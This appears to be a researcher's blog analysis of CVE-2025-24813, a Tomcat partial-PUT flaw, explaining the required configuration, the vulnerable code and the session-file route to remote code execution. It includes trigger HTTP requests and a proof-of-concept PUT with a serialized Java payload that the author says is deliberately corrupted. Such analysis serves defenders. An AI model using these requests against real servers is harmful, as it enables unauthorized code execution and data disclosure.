Analysis of CVE-2025-24813 Apache Tomcat Path Equivalence RCE
On 10. March 2025. ASF announced CVE-2025-24813, an Apache Tomcat vulnerability that may result in information disclosure or corruption, and even remote code execution. This is a quick and dirty analysis explaining the parts of the picture that are not in the advisory or can't be deduced trivially from the source code. Please read the linked materials and use your favorite search engine on the side!
Configuration Requirements
I tested the vulnerability on Debian 12. At the time of writing the latest package version for Tomcat 10 is 10.1.34-0+deb12u1
, where the discussed vulnerability is still unfixed.
The advisory states the following requirements for all exploitation vectors:
- "writes enabled for the default servlet (disabled by default)"
- "support for partial PUT (enabled by default)"
The first requirement is related to the readonly
property of the Default Servlet. We have to set this property to false in the web.xml
configuration of the server:
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<!-- ... -->
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<!-- ... -->
</servlet>
The second requirement is satisfied by default, the relevant code is the doPut() request handler method of DefaultServlet
For the RCE the following additional configuration is required:
- "application was using Tomcat's file based session persistence with the default storage location"
This can be satisfied by adding the following directives to context.xml
(I used the global /etc/tomcat10/context.xml
file):
<Manager className="org.apache.catalina.session.PersistentManager" maxIdleBackup="1" saveOnRestart="true" processExpiresFrequency="1">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>
The FileStore
class in the Manager
tag instructs Tomcat to store sessions in individual files - this is a different solution than the sample configuration provided in context.xml
that stores all session data in a single file with a well-defined filename.
Patch Analysis
The relevant part of the vulnerable code is this part of the executePartialPut()
method:
File tempDir = (File) getServletContext().getAttribute(ServletContext.TEMPDIR);
// Convert all '/' characters to '.' in resourcePath
String convertedResourcePath = path.replace('/', '.');
File contentFile = new File(tempDir, convertedResourcePath);
if (contentFile.createNewFile()) {
// Clean up contentFile when Tomcat is terminated
contentFile.deleteOnExit();
}
We can trigger this code path with a request like this:
PUT /dummy HTTP/1.1
Host: tomcat:8080
Content-range: bytes 1-1/15
x
The Content-range
header indicates a partial PUT, triggering the code path. The temporary file creation logic listed above creates a new file under the "work" directory of Tomcat (/var/lib/tomcat10/work/Catalina/<hostname>/<app>/
on Debian, I could never wrap my head around Tomcats terminology with CATALINA_BASE&co...). Coincidentally, this same directory is used by FileStore
to save sessions, which are serialized Java objects.
Remote Code Execution
Unfortunately we can't overwrite these files directly, because the path
passed to executePartialPut()
always starts with a /
, so our temporary filename will always start with a .
.
I tried to circumvent the problem of the dot (slash) prefix without success:
- Requests to absolute paths not beginning with
/
are rejected - Full URL's in the first request line are normalized to absolute paths (that start with a
/
) - Unencoded forward slashes are normalized, requests with backslashes are denied
- Tomcat handles
;
specially, but I could only use this to make the server ignore parts of the path (but not the first slash) - Tomcat denies requests containing URL-encoded forward or backward slashes. There is a setting to disable this behavior, but in that case the paths will just contain percent-encoded values
- My UTF-8/Unicode fu wasn't enough either
The good news is that if we place a file with a .session
extension in the work directory, it gets periodically parsed by Tomcat... This behavior of file based persistence is a really nice primitive!
Note that this exploitation path doesn't rely on "Path Equivalence": the filename is basically directly controlled, and the imposed restrictions (no slashes) let filenames relevant to FileStore
slip right through. Path equivalence seems more relevant in the information disclosure/corruption scenario.
Information Disclosure
The following are the stated prerequisites for this part:
- writes enabled for the default servlet (disabled by default)
- support for partial PUT (enabled by default)
- a target URL for security sensitive uploads that was a sub-directory of a target URL for public uploads
- attacker knowledge of the names of security sensitive files being uploaded
- the security sensitive files also being uploaded via partial PUT
Aside the aforementioned "work" directory, another relevant location here is the "resource" directory, mostly used for storing static resources like HTML pages required for the application. On my Debian these application directories are located under /var/lib/tomcat10/webapps
.
Here's how the prerequisites make sense:
1.
+2.
are required to reach vulnerable code.3.
+5.
-> A legitimate PUT request to http://example.com/top/secret.txt creates<Resource dir>/top/secret.txt
from<Work dir>/.top.secret.txt
. The latter temporary file remains on the file-system until Tomcat exits.- Because of
4.
attacker can (re)create<Work dir>/.top.secret.txt
by accessing http://example.com:8080/top.secret.txt. The file contents will be based on the leftover temp file created during the upload of the "secret" text. This is obviously a problem assuming access to http://example.com:8080/top/ is somehow restricted but http://example.com:8080/top.secret.txt is not.
On my minimal Debian installation I could only recreate these circumstances by manually giving access to the "resource" directory for the tomcat
user - I assume such privileges are quite common in real-world scenarios.
Poc||GTFO
PUT /examples/x1.session HTTP/1.1
Host: tomcat:8080
Content-range: bytes 0-273/275
Content-Length: 273
<@d_base64>r_O_0_A_B_X_N_y_A_B_F_q_Y_X_Z_h_L_n_V_0_a_W_w_u_S_G_F_z_a_E_1_h_c_A_U_H_2_s_H_D_F_m_D_R_A_w_A_C_R_g_A_K_b_G_9_h_Z_E_Z_h_Y_3_R_v_c_k_k_A_C_X_R_o_c_m_V_z_a_G_9_s_Z_H_h_w_P_0_A_A_A_A_A_A_A_A_x_3_C_A_A_A_A_B_A_A_A_A_A_B_c_3_I_A_D_G_p_h_d_m_E_u_b_m_V_0_L_l_V_S_T_J_Y_l_N_z_Y_a_/_O_R_y_A_w_A_H_S_Q_A_I_a_G_F_z_a_E_N_v_Z_G_V_J_A_A_R_w_b_3_J_0_T_A_A_J_Y_X_V_0_a_G_9_y_a_X_R_5_d_A_A_S_T_G_p_h_d_m_E_v_b_G_F_u_Z_y_9_T_d_H_J_p_b_m_c_7_T_A_A_E_Z_m_l_s_Z_X_E_A_f_g_A_D_T_A_A_E_a_G_9_z_d_H_E_A_f_g_A_D_T_A_A_I_c_H_J_v_d_G_9_j_b_2_x_x_A_H_4_A_A_0_w_A_A_3_J_l_Z_n_E_A_f_g_A_D_e_H_D_/_/_/_/_/_/_/_/_/_/_3_Q_A_C_3_B_v_c_m_5_o_d_W_I_u_Y_2_9_t_d_A_A_A_c_Q_B_+_A_A_V_0_A_A_R_o_d_H_R_w_c_H_h_0_A_B_J_o_d_H_R_w_O_i_8_v_c_G_9_y_b_m_h_1_Y_i_5_j_b_2_1_4_</@d_base64>
(I corrupted the payload slightly so my site won't be flagged by "security" vendors)
Exploitability
Before this analysis was done I was quick to predict that (based on the advisory) this one will end up in KEV. Now as I see things more clearly disabling readonly
or using FileStore
should be relatively rare, having both configured especially so, dropping my chances of being right significantly.
Nonetheless, Tomcat is everywhere and if the stars align this is a powerful exploit, so I'm still willing to bet a couple of beers on this!